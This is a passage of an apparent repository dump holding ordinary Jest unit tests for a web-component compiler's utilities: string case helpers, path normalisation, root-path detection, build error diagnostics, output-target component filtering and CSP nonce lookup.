    "content": "import { dashToPascalCase, escapeWithPattern, isDef, mergeIntoWith, toCamelCase, toDashCase } from '../helpers';\n\ndescribe('util helpers', () => {\n  describe('dashToPascalCase', () => {\n    it('my-3d-component => My3dComponent', () => {\n      expect(dashToPascalCase('my-3d-component')).toBe('My3dComponent');\n    });\n\n    it('madison-wisconsin => MadisonWisconsin', () => {\n      expect(dashToPascalCase('madison-wisconsin')).toBe('MadisonWisconsin');\n    });\n\n    it('wisconsin => Wisconsin', () => {\n      expect(dashToPascalCase('wisconsin')).toBe('Wisconsin');\n    });\n  });\n\n  describe('toCamelCase', () => {\n    it.each([\n      ['my-3d-component', 'my3dComponent'],\n      ['madison-wisconsin', 'madisonWisconsin'],\n      ['wisconsin', 'wisconsin'],\n    ])('%s => %s', (input: string, exp: string) => {\n      expect(toCamelCase(input)).toBe(exp);\n    });\n  });\n\n  describe('toDashCase', () => {\n    it('My3dComponent => my-3d-component', () => {\n      expect(toDashCase('My3dComponent')).toBe('my-3d-component');\n    });\n\n    it('MadisonWisconsin => madison-wisconsin', () => {\n      expect(toDashCase('MadisonWisconsin')).toBe('madison-wisconsin');\n    });\n\n    it('madisonWisconsin => madison-wisconsin', () => {\n      expect(toDashCase('madisonWisconsin')).toBe('madison-wisconsin');\n    });\n\n    it('Wisconsin => wisconsin', () => {\n      expect(toDashCase('Wisconsin')).toBe('wisconsin');\n    });\n\n    it('wisconsin => wisconsin', () => {\n      expect(toDashCase('wisconsin')).toBe('wisconsin');\n    });\n  });\n\n  describe('isDef', () => {\n    it('number', () => {\n      expect(isDef(88)).toBe(true);\n    });\n\n    it('string', () => {\n      expect(isDef('str')).toBe(true);\n    });\n\n    it('object', () => {\n      expect(isDef({})).toBe(true);\n    });\n\n    it('array', () => {\n      expect(isDef([])).toBe(true);\n    });\n\n    it('false', () => {\n      expect(isDef(false)).toBe(true);\n    });\n\n    it('true', () => {\n      expect(isDef(true)).toBe(true);\n    });\n\n    it('undefined', () => {\n      expect(isDef(undefined)).toBe(false);\n    });\n\n    it('null', () => {\n      expect(isDef(null)).toBe(false);\n    });\n  });\n\n  describe('mergeIntoWith', () => {\n    it('should do nothing if all elements already present', () => {\n      const target = [1, 2, 3];\n      mergeIntoWith(target, [1, 2, 3], (x) => x);\n      expect(target).toEqual([1, 2, 3]);\n    });\n\n    it('should add new items', () => {\n      const target = [1, 2, 3];\n      mergeIntoWith(target, [1, 2, 3, 4, 5], (x) => x);\n      expect(target).toEqual([1, 2, 3, 4, 5]);\n    });\n\n    it('should merge in objects using the predicate', () => {\n      const target = [{ id: 'foo' }, { id: 'bar' }, { id: 'boz' }, { id: 'baz' }];\n      mergeIntoWith(target, [{ id: 'foo' }, { id: 'fab' }, { id: 'fib' }], (x) => x.id);\n      expect(target).toEqual([\n        { id: 'foo' },\n        { id: 'bar' },\n        { id: 'boz' },\n        { id: 'baz' },\n        { id: 'fab' },\n        { id: 'fib' },\n      ]);\n    });\n  });\n\n  describe('escapeWithPattern', () => {\n    it('replaces all occurrences of a string pattern by default', () => {\n      const text = 'foo/bar foo/bar foo/bar';\n      const pattern = '/';\n      const replacement = '\\\\/';\n      expect(escapeWithPattern(text, pattern, replacement)).toBe('foo\\\\/bar foo\\\\/bar foo\\\\/bar');\n    });\n\n    it('replaces only first occurrence if replaceAll is false', () => {\n      const text = 'foo/bar foo/bar foo/bar';\n      const pattern = '/';\n      const replacement = '\\\\/';\n      expect(escapeWithPattern(text, pattern, replacement, false)).toBe('foo\\\\/bar foo/bar foo/bar');\n    });\n\n    it('replaces all occurrences using a RegExp pattern with no g flag by default', () => {\n      const text = 'a+b+c+a+b+c';\n      const pattern = /\\+/; // no 'g' flag\n      const replacement = '-';\n      expect(escapeWithPattern(text, pattern, replacement)).toBe('a-b-c-a-b-c');\n    });\n\n    it('replaces only first occurrence if replaceAll is false with RegExp', () => {\n      const text = 'a+b+c+a+b+c';\n      const pattern = /\\+/;\n      const replacement = '-';\n      expect(escapeWithPattern(text, pattern, replacement, false)).toBe('a-b+c+a+b+c');\n    });\n\n    it('respects the g flag if RegExp already has it and replaceAll true', () => {\n      const text = 'x*y*z*x*y*z';\n      const pattern = /\\*/g;\n      const replacement = '-';\n      expect(escapeWithPattern(text, pattern, replacement, true)).toBe('x-y-z-x-y-z');\n    });\n\n    it('removes the g flag if replaceAll is false', () => {\n      const text = 'x*y*z*x*y*z';\n      const pattern = /\\*/g;\n      const replacement = '-';\n      expect(escapeWithPattern(text, pattern, replacement, false)).toBe('x-y*z*x*y*z');\n    });\n\n    it('escapes special RegExp chars in string pattern', () => {\n      const text = 'foo.*+?^${}()|[]\\\\bar';\n      const pattern = '.*+?^${}()|[]\\\\';\n      const replacement = '-ESCAPED-';\n      expect(escapeWithPattern(text, pattern, replacement)).toBe('foo-ESCAPED-bar');\n    });\n\n    it('works with empty string input', () => {\n      expect(escapeWithPattern('', 'a', 'b')).toBe('');\n    });\n\n    it('works with empty replacement', () => {\n      expect(escapeWithPattern('abcabc', 'a', '')).toBe('bcbc');\n    });\n  });\n});\n"
  },
  {
    "path": "src/utils/test/is-root-path.spec.ts",
    "content": "import { isRootPath } from '../is-root-path';\n\ndescribe('isRootPath', () => {\n  it('is root', () => {\n    expect(isRootPath('/')).toBe(true);\n    expect(isRootPath('c:\\\\')).toBe(true);\n    expect(isRootPath('C:\\\\')).toBe(true);\n    expect(isRootPath('D:\\\\')).toBe(true);\n    expect(isRootPath('c:/')).toBe(true);\n    expect(isRootPath('C:/')).toBe(true);\n    expect(isRootPath('\\\\')).toBe(true);\n  });\n\n  it('is not root', () => {\n    expect(isRootPath('/Users')).toBe(false);\n    expect(isRootPath('Users')).toBe(false);\n    expect(isRootPath('Users/')).toBe(false);\n    expect(isRootPath('/Users/')).toBe(false);\n    expect(isRootPath('/.')).toBe(false);\n    expect(isRootPath('./')).toBe(false);\n    expect(isRootPath('.')).toBe(false);\n    expect(isRootPath('')).toBe(false);\n    expect(isRootPath(' ')).toBe(false);\n    expect(isRootPath('c://')).toBe(false);\n    expect(isRootPath('C:\\\\dir')).toBe(false);\n    expect(isRootPath('C')).toBe(false);\n    expect(isRootPath('D:')).toBe(false);\n    expect(isRootPath('\\\\\\\\')).toBe(false);\n  });\n});\n"
  },
  {
    "path": "src/utils/test/message-utils.spec.ts",
    "content": "import type * as d from '../../declarations';\nimport { catchError } from '../message-utils';\n\ndescribe('message-utils', () => {\n  describe('catchError()', () => {\n    describe('called with no error, no message', () => {\n      it('returns a template diagnostic', () => {\n        const diagnostic = catchError([], null);\n\n        expect(diagnostic).toEqual<d.Diagnostic>({\n          level: 'error',\n          type: 'build',\n          header: 'Build Error',\n          messageText: 'build error',\n          relFilePath: undefined,\n          absFilePath: undefined,\n          lines: [],\n        });\n      });\n\n      it('pushes a template diagnostic onto a collection of diagnostics', () => {\n        const diagnostics: d.Diagnostic[] = [];\n\n        const diagnostic = catchError(diagnostics, null);\n\n        expect(diagnostics).toHaveLength(1);\n        expect(diagnostics[0]).toBe(diagnostic);\n      });\n    });\n\n    describe('called with an Error', () => {\n      describe('with a valid stacktrace', () => {\n        const stackTrace = 'test stack';\n        let err: Error;\n\n        beforeEach(() => {\n          err = new Error();\n          err.stack = stackTrace;\n        });\n\n        it('returns a diagnostic', () => {\n          const diagnostic = catchError([], err);\n\n          expect(diagnostic).toEqual<d.Diagnostic>({\n            level: 'error',\n            type: 'build',\n            header: 'Build Error',\n            messageText: stackTrace,\n            relFilePath: undefined,\n            absFilePath: undefined,\n            lines: [],\n          });\n        });\n\n        it('pushes a template diagnostic onto a collection of diagnostics', () => {\n          const diagnostics: d.Diagnostic[] = [];\n\n          const diagnostic = catchError(diagnostics, err);\n\n          expect(diagnostics).toHaveLength(1);\n          expect(diagnostics[0]).toBe(diagnostic);\n        });\n\n        describe('\"task canceled\"', () => {\n          const taskCanceledMessage = 'task canceled';\n\n          beforeEach(() => {\n            err.stack = taskCanceledMessage;\n          });\n\n          it('returns a diagnostic', () => {\n            const diagnostic = catchError([], err);\n\n            expect(diagnostic).toEqual<d.Diagnostic>({\n              level: 'error',\n              type: 'build',\n              header: 'Build Error',\n              messageText: taskCanceledMessage,\n              relFilePath: undefined,\n              absFilePath: undefined,\n              lines: [],\n            });\n          });\n\n          it(\"doesn't push a template diagnostic\", () => {\n            const diagnostics: d.Diagnostic[] = [];\n\n            catchError(diagnostics, err);\n\n            expect(diagnostics).toHaveLength(0);\n          });\n        });\n      });\n\n      describe('with a valid message', () => {\n        const message = 'test message';\n        let err: Error;\n\n        beforeEach(() => {\n          err = new Error();\n          err.stack = undefined;\n          err.message = message;\n        });\n\n        it('returns a diagnostic', () => {\n          const diagnostic = catchError([], err);\n\n          expect(diagnostic).toEqual<d.Diagnostic>({\n            level: 'error',\n            type: 'build',\n            header: 'Build Error',\n            messageText: message,\n            relFilePath: undefined,\n            absFilePath: undefined,\n            lines: [],\n          });\n        });\n\n        it('pushes a template diagnostic onto a collection of diagnostics', () => {\n          const diagnostics: d.Diagnostic[] = [];\n\n          const diagnostic = catchError(diagnostics, err);\n\n          expect(diagnostics).toHaveLength(1);\n          expect(diagnostics[0]).toBe(diagnostic);\n        });\n\n        it('prints \"UNKNOWN ERROR\" for an empty message', () => {\n          err.message = '';\n          const diagnostic = catchError([], err);\n\n          expect(diagnostic).toEqual<d.Diagnostic>({\n            level: 'error',\n            type: 'build',\n            header: 'Build Error',\n            messageText: 'UNKNOWN ERROR',\n            relFilePath: undefined,\n            absFilePath: undefined,\n            lines: [],\n          });\n        });\n\n        describe('\"task canceled\"', () => {\n          const taskCanceledMessage = 'task canceled';\n\n          beforeEach(() => {\n            err.message = taskCanceledMessage;\n          });\n\n          it('returns a diagnostic', () => {\n            const diagnostic = catchError([], err);\n\n            expect(diagnostic).toEqual<d.Diagnostic>({\n              level: 'error',\n              type: 'build',\n              header: 'Build Error',\n              messageText: taskCanceledMessage,\n              relFilePath: undefined,\n              absFilePath: undefined,\n              lines: [],\n            });\n          });\n\n          it(\"doesn't push a template diagnostic\", () => {\n            const diagnostics: d.Diagnostic[] = [];\n\n            catchError(diagnostics, err);\n\n            expect(diagnostics).toHaveLength(0);\n          });\n        });\n      });\n\n      describe('with an invalid message', () => {\n        let err: Error;\n\n        beforeEach(() => {\n          err = new Error();\n          // this test explicitly checks for a bad value for the `message` property, hence the type assertion\n          err.message = undefined as unknown as string;\n          err.stack = undefined;\n        });\n\n        it('returns a diagnostic', () => {\n          const diagnostic = catchError([], err);\n\n          expect(diagnostic).toEqual<d.Diagnostic>({\n            level: 'error',\n            type: 'build',\n            header: 'Build Error',\n            messageText: 'Error',\n            relFilePath: undefined,\n            absFilePath: undefined,\n            lines: [],\n          });\n        });\n\n        it('pushes a template diagnostic onto a collection of diagnostics', () => {\n          const diagnostics: d.Diagnostic[] = [];\n\n          const diagnostic = catchError(diagnostics, err);\n\n          expect(diagnostics).toHaveLength(1);\n          expect(diagnostics[0]).toBe(diagnostic);\n        });\n      });\n    });\n\n    describe('called with a message, but no error', () => {\n      const message = 'this is a test message';\n\n      it('returns a diagnostic with the message', () => {\n        const diagnostic = catchError([], null, message);\n\n        expect(diagnostic).toEqual<d.Diagnostic>({\n          level: 'error',\n          type: 'build',\n          header: 'Build Error',\n          messageText: message,\n          relFilePath: undefined,\n          absFilePath: undefined,\n          lines: [],\n        });\n      });\n\n      it('pushes the diagnostic onto a collection of diagnostics', () => {\n        const diagnostics: d.Diagnostic[] = [];\n\n        const diagnostic = catchError(diagnostics, null, message);\n\n        expect(diagnostics).toHaveLength(1);\n        expect(diagnostics[0]).toBe(diagnostic);\n      });\n\n      it('prints \"UNKNOWN ERROR\" when the message text is empty', () => {\n        const diagnostic = catchError([], null, '');\n\n        expect(diagnostic).toEqual<d.Diagnostic>({\n          level: 'error',\n          type: 'build',\n          header: 'Build Error',\n          messageText: 'UNKNOWN ERROR',\n          relFilePath: undefined,\n          absFilePath: undefined,\n          lines: [],\n        });\n      });\n\n      describe('\"task canceled\"', () => {\n        const taskCanceledMessage = 'task canceled';\n\n        it('returns a diagnostic', () => {\n          const diagnostic = catchError([], null, taskCanceledMessage);\n\n          expect(diagnostic).toEqual<d.Diagnostic>({\n            level: 'error',\n            type: 'build',\n            header: 'Build Error',\n            messageText: taskCanceledMessage,\n            relFilePath: undefined,\n            absFilePath: undefined,\n            lines: [],\n          });\n        });\n\n        it(\"doesn't push a template diagnostic\", () => {\n          const diagnostics: d.Diagnostic[] = [];\n\n          catchError([], null, taskCanceledMessage);\n\n          expect(diagnostics).toHaveLength(0);\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/utils/test/output-target.spec.ts",
    "content": "import type * as d from '../../declarations';\nimport type { EligiblePrimaryPackageOutputTarget } from '../../declarations';\nimport { DIST_TYPES, VALID_CONFIG_OUTPUT_TARGETS } from '../constants';\nimport {\n  filterExcludedComponents,\n  isEligiblePrimaryPackageOutputTarget,\n  isValidConfigOutputTarget,\n  shouldExcludeComponent,\n} from '../output-target';\n\ndescribe('output-utils tests', () => {\n  describe('isValidConfigOutputTarget', () => {\n    it.each(VALID_CONFIG_OUTPUT_TARGETS)('should return true for valid output type \"%s\"', (outputTargetType) => {\n      expect(isValidConfigOutputTarget(outputTargetType)).toBe(true);\n    });\n\n    it.each(['', 'my-target-that-i-made-up', DIST_TYPES])(\n      'should return false for invalid config output type \"%s\"',\n      (outputTargetType) => {\n        expect(isValidConfigOutputTarget(outputTargetType)).toBe(false);\n      },\n    );\n  });\n\n  describe('isEligiblePrimaryPackageOutputTarget', () => {\n    it.each<(typeof VALID_CONFIG_OUTPUT_TARGETS)[number]>([\n      'copy',\n      'custom',\n      'dist-hydrate-script',\n      'www',\n      'stats',\n      'docs-json',\n      'docs-readme',\n      'docs-vscode',\n      'docs-custom',\n    ])('should return false for $type', (outputTarget) => {\n      const res = isEligiblePrimaryPackageOutputTarget({ type: outputTarget } as any);\n\n      expect(res).toBe(false);\n    });\n\n    it.each<EligiblePrimaryPackageOutputTarget['type']>([\n      'dist',\n      'dist-collection',\n      'dist-custom-elements',\n      'dist-types',\n    ])('should return true for `$type`', (outputTarget) => {\n      const res = isEligiblePrimaryPackageOutputTarget({ type: outputTarget } as any);\n\n      expect(res).toBe(true);\n    });\n  });\n\n  describe('shouldExcludeComponent', () => {\n    it('should return false when no patterns provided', () => {\n      expect(shouldExcludeComponent('my-component', undefined)).toBe(false);\n      expect(shouldExcludeComponent('my-component', [])).toBe(false);\n    });\n\n    it('should match exact component names', () => {\n      expect(shouldExcludeComponent('demo-component', ['demo-component'])).toBe(true);\n      expect(shouldExcludeComponent('my-component', ['demo-component'])).toBe(false);\n    });\n\n    it('should match glob patterns with wildcards', () => {\n      expect(shouldExcludeComponent('demo-button', ['demo-*'])).toBe(true);\n      expect(shouldExcludeComponent('demo-card', ['demo-*'])).toBe(true);\n      expect(shouldExcludeComponent('my-button', ['demo-*'])).toBe(false);\n    });\n\n    it('should match patterns ending with suffix', () => {\n      expect(shouldExcludeComponent('button-test', ['*-test'])).toBe(true);\n      expect(shouldExcludeComponent('card-test', ['*-test'])).toBe(true);\n      expect(shouldExcludeComponent('button-prod', ['*-test'])).toBe(false);\n    });\n\n    it('should match multiple patterns', () => {\n      const patterns = ['demo-*', '*-test', 'specific-component'];\n\n      expect(shouldExcludeComponent('demo-button', patterns)).toBe(true);\n      expect(shouldExcludeComponent('card-test', patterns)).toBe(true);\n      expect(shouldExcludeComponent('specific-component', patterns)).toBe(true);\n      expect(shouldExcludeComponent('my-component', patterns)).toBe(false);\n    });\n\n    it('should handle complex glob patterns', () => {\n      expect(shouldExcludeComponent('demo-internal-button', ['demo-internal-*'])).toBe(true);\n      expect(shouldExcludeComponent('demo-button', ['demo-internal-*'])).toBe(false);\n    });\n  });\n\n  describe('filterExcludedComponents', () => {\n    const createMockComponent = (tagName: string): d.ComponentCompilerMeta => {\n      return {\n        tagName,\n        componentClassName: tagName,\n        sourceFilePath: `/src/components/${tagName}/${tagName}.tsx`,\n      } as d.ComponentCompilerMeta;\n    };\n\n    const createMockConfig = (excludePatterns?: string[]): d.ValidatedConfig => {\n      return {\n        excludeComponents: excludePatterns,\n        logger: {\n          debug: jest.fn(),\n        },\n      } as any as d.ValidatedConfig;\n    };\n\n    it('should return all components when no exclude patterns', () => {\n      const components = [\n        createMockComponent('my-button'),\n        createMockComponent('my-card'),\n        createMockComponent('demo-widget'),\n      ];\n      const config = createMockConfig(undefined);\n\n      const result = filterExcludedComponents(components, config);\n\n      expect(result.components).toHaveLength(3);\n      expect(result.components).toEqual(components);\n      expect(result.excludedComponents).toHaveLength(0);\n    });\n\n    it('should filter out components matching exact names', () => {\n      const components = [\n        createMockComponent('my-button'),\n        createMockComponent('demo-widget'),\n        createMockComponent('my-card'),\n      ];\n      const config = {\n        ...createMockConfig(['demo-widget']),\n        devMode: false,\n        logger: { debug: jest.fn(), info: jest.fn() },\n      } as any;\n\n      const result = filterExcludedComponents(components, config);\n\n      expect(result.components).toHaveLength(2);\n      expect(result.components.map((c) => c.tagName)).toEqual(['my-button', 'my-card']);\n      expect(result.excludedComponents).toHaveLength(1);\n      expect(result.excludedComponents[0].tagName).toBe('demo-widget');\n    });\n\n    it('should filter out components matching glob patterns', () => {\n      const components = [\n        createMockComponent('my-button'),\n        createMockComponent('demo-widget'),\n        createMockComponent('demo-card'),\n        createMockComponent('my-card'),\n      ];\n      const config = {\n        ...createMockConfig(['demo-*']),\n        devMode: false,\n        logger: { debug: jest.fn(), info: jest.fn() },\n      } as any;\n\n      const result = filterExcludedComponents(components, config);\n\n      expect(result.components).toHaveLength(2);\n      expect(result.components.map((c) => c.tagName)).toEqual(['my-button', 'my-card']);\n      expect(result.excludedComponents).toHaveLength(2);\n    });\n\n    it('should filter out components matching multiple patterns', () => {\n      const components = [\n        createMockComponent('my-button'),\n        createMockComponent('demo-widget'),\n        createMockComponent('button-test'),\n        createMockComponent('my-card'),\n        createMockComponent('specific-exclude'),\n      ];\n      const config = {\n        ...createMockConfig(['demo-*', '*-test', 'specific-exclude']),\n        devMode: false,\n        logger: { debug: jest.fn(), info: jest.fn() },\n      } as any;\n\n      const result = filterExcludedComponents(components, config);\n\n      expect(result.components).toHaveLength(2);\n      expect(result.components.map((c) => c.tagName)).toEqual(['my-button', 'my-card']);\n      expect(result.excludedComponents).toHaveLength(3);\n    });\n\n    it('should log debug messages for excluded components', () => {\n      const components = [createMockComponent('my-button'), createMockComponent('demo-widget')];\n      const config = {\n        ...createMockConfig(['demo-*']),\n        devMode: false,\n        logger: { debug: jest.fn(), info: jest.fn() },\n      } as any;\n\n      filterExcludedComponents(components, config);\n\n      expect(config.logger.debug).toHaveBeenCalledWith('Excluding component from build: demo-widget');\n    });\n\n    it('should return empty array when all components are excluded', () => {\n      const components = [createMockComponent('demo-widget'), createMockComponent('demo-card')];\n      const config = {\n        ...createMockConfig(['demo-*']),\n        devMode: false,\n        logger: { debug: jest.fn(), info: jest.fn() },\n      } as any;\n\n      const result = filterExcludedComponents(components, config);\n\n      expect(result.components).toHaveLength(0);\n      expect(result.excludedComponents).toHaveLength(2);\n    });\n\n    it('should log info message for production builds with excluded components', () => {\n      const components = [\n        createMockComponent('my-button'),\n        createMockComponent('demo-widget'),\n        createMockComponent('demo-card'),\n      ];\n      const config = {\n        ...createMockConfig(['demo-*']),\n        devMode: false,\n        logger: {\n          debug: jest.fn(),\n          info: jest.fn(),\n        },\n      } as any as d.ValidatedConfig;\n\n      filterExcludedComponents(components, config);\n\n      expect(config.logger.info).toHaveBeenCalledWith(\n        'Excluding 2 components from production build: demo-widget, demo-card',\n      );\n    });\n\n    it('should log singular form for single excluded component in production', () => {\n      const components = [createMockComponent('my-button'), createMockComponent('demo-widget')];\n      const config = {\n        ...createMockConfig(['demo-widget']),\n        devMode: false,\n        logger: {\n          debug: jest.fn(),\n          info: jest.fn(),\n        },\n      } as any as d.ValidatedConfig;\n\n      filterExcludedComponents(components, config);\n\n      expect(config.logger.info).toHaveBeenCalledWith('Excluding 1 component from production build: demo-widget');\n    });\n\n    it('should not exclude components in dev mode', () => {\n      const components = [createMockComponent('my-button'), createMockComponent('demo-widget')];\n      const config = {\n        ...createMockConfig(['demo-widget']),\n        devMode: true,\n        logger: {\n          debug: jest.fn(),\n          info: jest.fn(),\n        },\n      } as any as d.ValidatedConfig;\n\n      const result = filterExcludedComponents(components, config);\n\n      // All components should be included in dev mode\n      expect(result.components).toHaveLength(2);\n      expect(result.components.map((c) => c.tagName)).toEqual(['my-button', 'demo-widget']);\n      expect(result.excludedComponents).toHaveLength(0);\n      expect(config.logger.info).not.toHaveBeenCalled();\n      expect(config.logger.debug).not.toHaveBeenCalled();\n    });\n\n    it('should not log info message when no components are excluded', () => {\n      const components = [createMockComponent('my-button'), createMockComponent('my-card')];\n      const config = {\n        ...createMockConfig(['demo-*']),\n        devMode: false,\n        logger: {\n          debug: jest.fn(),\n          info: jest.fn(),\n        },\n      } as any as d.ValidatedConfig;\n\n      const result = filterExcludedComponents(components, config);\n\n      expect(result.components).toHaveLength(2);\n      expect(result.excludedComponents).toHaveLength(0);\n      expect(config.logger.info).not.toHaveBeenCalled();\n    });\n  });\n});\n"
  },
  {
    "path": "src/utils/test/path.spec.ts",
    "content": "import { join, normalize, normalizeFsPathQuery, normalizePath, relative, resolve } from '../path';\n\ndescribe('normalizePath', () => {\n  it('node module', () => {\n    expect(normalizePath('lodash')).toBe('lodash');\n    expect(normalizePath('   lodash    ')).toBe('lodash');\n    expect(normalizePath('@angular/core')).toBe('@angular/core');\n  });\n\n  it('empty', () => {\n    expect(normalizePath('')).toBe('.');\n    expect(normalizePath('.')).toBe('.');\n    expect(normalizePath('..')).toBe('..');\n    expect(normalizePath('./')).toBe('.');\n    expect(normalizePath('./././')).toBe('.');\n  });\n\n  it('relative ./ posix', () => {\n    expect(normalizePath('./dir/basename.ext')).toBe('./dir/basename.ext');\n    expect(normalizePath('./dir')).toBe('./dir');\n  });\n\n  it('relative ./ win32', () => {\n    expect(normalizePath('.\\\\dir\\\\basename.ext')).toBe('./dir/basename.ext');\n    expect(normalizePath('.\\\\dir')).toBe('./dir');\n  });\n\n  it('relative ../ posix', () => {\n    expect(normalizePath('../dir/basename.ext')).toBe('../dir/basename.ext');\n    expect(normalizePath('../../dir/basename.ext')).toBe('../../dir/basename.ext');\n    expect(normalizePath('../dir1/dir2')).toBe('../dir1/dir2');\n  });\n\n  it('relative ../ win32', () => {\n    expect(normalizePath('..\\\\dir\\\\basename.ext')).toBe('../dir/basename.ext');\n    expect(normalizePath('..\\\\..\\\\dir\\\\basename.ext')).toBe('../../dir/basename.ext');\n    expect(normalizePath('..\\\\dir1\\\\dir2')).toBe('../dir1/dir2');\n  });\n\n  it('absolute posix', () => {\n    expect(normalizePath('/dir/basename.ext')).toBe('/dir/basename.ext');\n    expect(normalizePath('/dir')).toBe('/dir');\n    expect(normalizePath('/./dir')).toBe('/dir');\n  });\n\n  it('relative, no dot', () => {\n    expect(normalizePath('foo/bar.ts')).toBe('./foo/bar.ts');\n    expect(normalizePath('foo/bar.ts', false)).toBe('foo/bar.ts');\n    expect(normalizePath('foo\\\\bar.ts')).toBe('./foo/bar.ts');\n    expect(normalizePath('foo\\\\bar.ts', false)).toBe('foo/bar.ts');\n  });\n\n  it('absolute win32', () => {\n    expect(normalizePath('C:\\\\dir\\\\basename.ext')).toBe('C:/dir/basename.ext');\n    expect(normalizePath('C:\\\\dir')).toBe('C:/dir');\n  });\n\n  it('non-ascii', () => {\n    expect(normalizePath('/中文/basename.ext')).toBe('/中文/basename.ext');\n    expect(normalizePath('C:\\\\中文\\\\basename.ext')).toBe('C:/中文/basename.ext');\n  });\n\n  it('remove trailing slash, windows', () => {\n    const path = normalizePath(`C:\\\\Johnny\\\\B\\\\Goode\\\\`);\n    expect(path).toBe(`C:/Johnny/B/Goode`);\n  });\n\n  it('normalize file, windows', () => {\n    const path = normalizePath(`C:\\\\Johnny\\\\B\\\\Goode.js`);\n    expect(path).toBe(`C:/Johnny/B/Goode.js`);\n  });\n\n  it('not remove trailing slash for root dir, windows', () => {\n    const path = normalizePath(`C:\\\\`);\n    expect(path).toBe(`C:/`);\n  });\n\n  it('not remove trailing slash for root dir, unix', () => {\n    const path = normalizePath(`/`);\n    expect(path).toBe(`/`);\n  });\n\n  it('remove trailing slash, unix', () => {\n    const path = normalizePath(`/Johnny/B/Goode/`);\n    expect(path).toBe(`/Johnny/B/Goode`);\n  });\n\n  it('normalize file, unix', () => {\n    const path = normalizePath(`/Johnny/B/Goode.js`);\n    expect(path).toBe(`/Johnny/B/Goode.js`);\n  });\n\n  it('normalize file with spaces to trim', () => {\n    const path = normalizePath(`    /Johnny/B/Goode.js    `);\n    expect(path).toBe(`/Johnny/B/Goode.js`);\n  });\n\n  it('throw error when invalid string', () => {\n    expect(() => {\n      // this test deliberately uses a value whose type does not conform to the function signature's type definition to\n      // ensure non-string's throw an error, requiring us to place a type assertion in the function call below\n      const path = normalizePath(null as unknown as string);\n      expect(path).toBe(`/Johnny/B/Goode.js`);\n    }).toThrow();\n  });\n});\n\ndescribe('normalizeFsPathQuery', () => {\n  it('format query', () => {\n    const p = normalizeFsPathQuery(`/Johnny/B/Goode.js?format=text`);\n    expect(p.filePath).toBe(`/Johnny/B/Goode.js`);\n    expect(p.format).toBe('text');\n    expect(p.ext).toBe(`js`);\n  });\n\n  it('any query', () => {\n    const p = normalizeFsPathQuery(`/Johnny/B/Goode.svg?a=1&b=2&c=3`);\n    expect(p.filePath).toBe(`/Johnny/B/Goode.svg`);\n    expect(p.format).toBe(null);\n    expect(p.ext).toBe(`svg`);\n  });\n\n  it('no query', () => {\n    const p = normalizeFsPathQuery(`/Johnny/B/Goode.js`);\n    expect(p.filePath).toBe(`/Johnny/B/Goode.js`);\n    expect(p.format).toBe(null);\n    expect(p.ext).toBe(`js`);\n  });\n\n  it('no ext', () => {\n    const p = normalizeFsPathQuery(`/Johnny/B/Goode`);\n    expect(p.filePath).toBe(`/Johnny/B/Goode`);\n    expect(p.format).toBe(null);\n    expect(p.ext).toBe(null);\n  });\n\n  describe('wrapped nodejs path functions', () => {\n    it('join should always return a POSIX path', () => {\n      expect(join('foo')).toBe('foo');\n      expect(join('foo/')).toBe('foo');\n      expect(join('foo', 'bar')).toBe('foo/bar');\n      expect(join('foo', 'bar', '/')).toBe('foo/bar');\n      expect(join('foo', '/', 'bar')).toBe('foo/bar');\n      expect(join('foo', '/', '/', 'bar')).toBe('foo/bar');\n      expect(join('..', 'foo', 'bar.ts')).toBe('../foo/bar.ts');\n      expect(join('foo', '..', 'bar.ts')).toBe('bar.ts');\n      expect(join('.', 'foo', 'bar.ts')).toBe('foo/bar.ts');\n    });\n\n    it('relative should always return a POSIX path', () => {\n      expect(relative('.', 'foo/bar')).toBe('foo/bar');\n      expect(relative('foo/bar', '..')).toBe('../../..');\n      expect(relative('foo', 'foo/bar/file.js')).toBe('bar/file.js');\n      expect(relative('foo/bar', 'foo/bar/file.js')).toBe('file.js');\n      expect(relative('foo/bar/baz', 'foo/bar/boz')).toBe('../boz');\n      expect(relative('foo/bar/file.js', 'foo/bar/file.js')).toBe('.');\n      expect(relative('.', '../foo/bar')).toBe('../foo/bar');\n    });\n\n    it('resolve should always return a POSIX path', () => {\n      expect(resolve('.')).toBe(normalizePath(process.cwd()));\n      expect(resolve('foo/bar/baz')).toBe(join(normalizePath(process.cwd()), 'foo/bar/baz'));\n      expect(resolve('foo\\\\bar\\\\baz')).toBe(join(normalizePath(process.cwd()), 'foo/bar/baz'));\n    });\n\n    it('normalize should always return a POSIX path', () => {\n      expect(normalize('')).toBe('.');\n      expect(normalize('.')).toBe('.');\n      expect(normalize('..')).toBe('..');\n      expect(normalize('/')).toBe('/');\n      expect(normalize('\\\\')).toBe('/');\n      // these examples taken from\n      // https://nodejs.org/api/path.html#pathnormalizepath\n      expect(normalize('\\\\temp\\\\\\\\foo\\\\bar\\\\..\\\\')).toBe('/temp/foo');\n      expect(normalize('/temp/foo//bar/../')).toBe('/temp/foo');\n      expect(normalize('/foo/bar//baz/asdf/quux/..')).toBe('/foo/bar/baz/asdf');\n    });\n  });\n});\n"
  },
  {
    "path": "src/utils/test/query-nonce-meta-tag-content.spec.ts",
    "content": "import { queryNonceMetaTagContent } from '../query-nonce-meta-tag-content';\n\ndescribe('queryNonceMetaTagContent', () => {\n  it('should return the nonce value if the tag exists', () => {\n    const meta = document.createElement('meta');\n    meta.setAttribute('name', 'csp-nonce');\n    meta.setAttribute('content', '1234');\n    document.head.appendChild(meta);\n\n    const nonce = queryNonceMetaTagContent(document);\n\n    expect(nonce).toEqual('1234');\n  });\n\n  it('should return `undefined` if the tag does not exist', () => {\n    const nonce = queryNonceMetaTagContent(document);\n\n    expect(nonce).toEqual(undefined);\n  });\n\n  it('should return `undefined` if the document does not have a head element', () => {\n    const head = document.querySelector('head');\n    head?.remove();\n\n    const nonce = queryNonceMetaTagContent(document);\n\n    expect(nonce).toEqual(undefined);\n  });\n\n  it('should return `undefined` if the tag has no content', () => {\n    const meta = document.createElement('meta');\n    meta.setAttribute('name', 'csp-nonce');\n    document.head.appendChild(meta);\n\n    const nonce = queryNonceMetaTagContent(document);\n\n    expect(nonce).toEqual(undefined);\n  });\n});\n"
  },
  {
    "path": "src/utils/test/regular-expression.spec.ts",
